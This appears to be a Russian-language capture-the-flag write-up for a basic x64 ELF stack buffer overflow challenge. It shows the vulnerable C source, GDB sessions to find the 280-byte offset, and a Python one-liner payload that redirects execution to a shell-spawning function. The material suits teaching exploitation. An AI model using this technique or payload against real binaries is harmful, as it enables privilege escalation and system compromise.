ELF x64 - Stack buffer overflow - basic
Environment configuration :
Source code :
Решение
Это обычная задачка на переполнение буфера, но в отличие от других задачек, тут x64 битная архитектура. Бегло просмотрев исходный код программы становится ясно, что нам нужно вызвать функцию
И так запускаем нашу программу под отладчиком GDB
И дизассемблируем функцию callMeMaybe() для того чтобы узнать её адрес.
Адрес 0x00000000004005e7 функции получен. Теперь вычислим смещение. Делать это будем по
Запускаем программу под отладчиком
и скармливаем строку
Полученный адрес ничего не дал
Посмотрим что это за адрес в памяти
Видно что этот адрес , есть в главной функции.
Посмотрим...
Это адрес возврата из главной функции. И это значение находится в регистре RIP (EIP).
Значит мы перезаписали всё! Но как узнать конкретное значение? Давайте посмотрим на регистры
Как и всегда нас интересуют 3 регистра
RIP указывает на текущую инструкцию там у нас адрес возврата из главной функции
RSP на верхушку стека
RBP относительного него записываются локальные переменные и аргументы в стеке
Тут видно что RBP перезаписан посмотрим...
А вот и смещение - 272 байта.
Проверим так ли это...
Нет это не так. 272 байта не перезаписывают RBP. Тогда добавим еще 8 байт ( так как это 64 ) и проверим снова. Как видно на скриншоте 280 это смещение которое мы искали.
Теперь составим сам эксплойт
Запускаем и получаем заветный флаг.
Вот так вот можно было получить флаг.
Environment configuration :
PIE | Position Independent Executable |
|
RelRO | Read Only relocations | |
NX | Non-Executable Stack | |
Heap exec | Non-Executable Heap | |
ASLR | Address Space Layout Randomization | |
SF | Source Fortification | |
SSP | Stack-Smashing Protection | |
SRC | Source code access |
Source code :
C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
void callMeMaybe(){
char *argv[] = { "/bin/bash", "-p", NULL };
execve(argv[0], argv, NULL);
}
int main(int argc, char **argv){
char buffer[256];
int len, i;
scanf("%s", buffer);
len = strlen(buffer);
printf("Hello %s\n", buffer);
return 0;
}
Решение
Это обычная задачка на переполнение буфера, но в отличие от других задачек, тут x64 битная архитектура. Бегло просмотрев исходный код программы становится ясно, что нам нужно вызвать функцию
callMeMaybe()
, которая в свою очередь даст нам оболочку и заветный флаг для прохождения уровня.И так запускаем нашу программу под отладчиком GDB
gdb -q ./ch35
И дизассемблируем функцию callMeMaybe() для того чтобы узнать её адрес.
disas callMeMaybe
Адрес 0x00000000004005e7 функции получен. Теперь вычислим смещение. Делать это будем по
Ссылка скрыта от гостей
воспользуемся генератором для создания паттернов.Запускаем программу под отладчиком
run
и скармливаем строку
Код:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Полученный адрес ничего не дал
Посмотрим что это за адрес в памяти
x/x 0x000000000040068e
Видно что этот адрес , есть в главной функции.
Посмотрим...
disas main
Это адрес возврата из главной функции. И это значение находится в регистре RIP (EIP).
Значит мы перезаписали всё! Но как узнать конкретное значение? Давайте посмотрим на регистры
i r
Как и всегда нас интересуют 3 регистра
Код:
rbp 0x41326a41316a4130 0x41326a41316a4130
rsp 0x7fffaf1af7c8 0x7fffaf1af7c8
rip 0x40068e 0x40068e <main+102>
RIP указывает на текущую инструкцию там у нас адрес возврата из главной функции
RSP на верхушку стека
RBP относительного него записываются локальные переменные и аргументы в стеке
Тут видно что RBP перезаписан посмотрим...
А вот и смещение - 272 байта.
Проверим так ли это...
Нет это не так. 272 байта не перезаписывают RBP. Тогда добавим еще 8 байт ( так как это 64 ) и проверим снова. Как видно на скриншоте 280 это смещение которое мы искали.
Теперь составим сам эксплойт
python -c 'print "A"*280 + "\xe7\x05\x40\x00\x00\x00\x00\x00" ' > /tmp/exploit
(cat /tmp/exploit; cat) | ./ch35
Запускаем и получаем заветный флаг.
Вот так вот можно было получить флаг.
Последнее редактирование: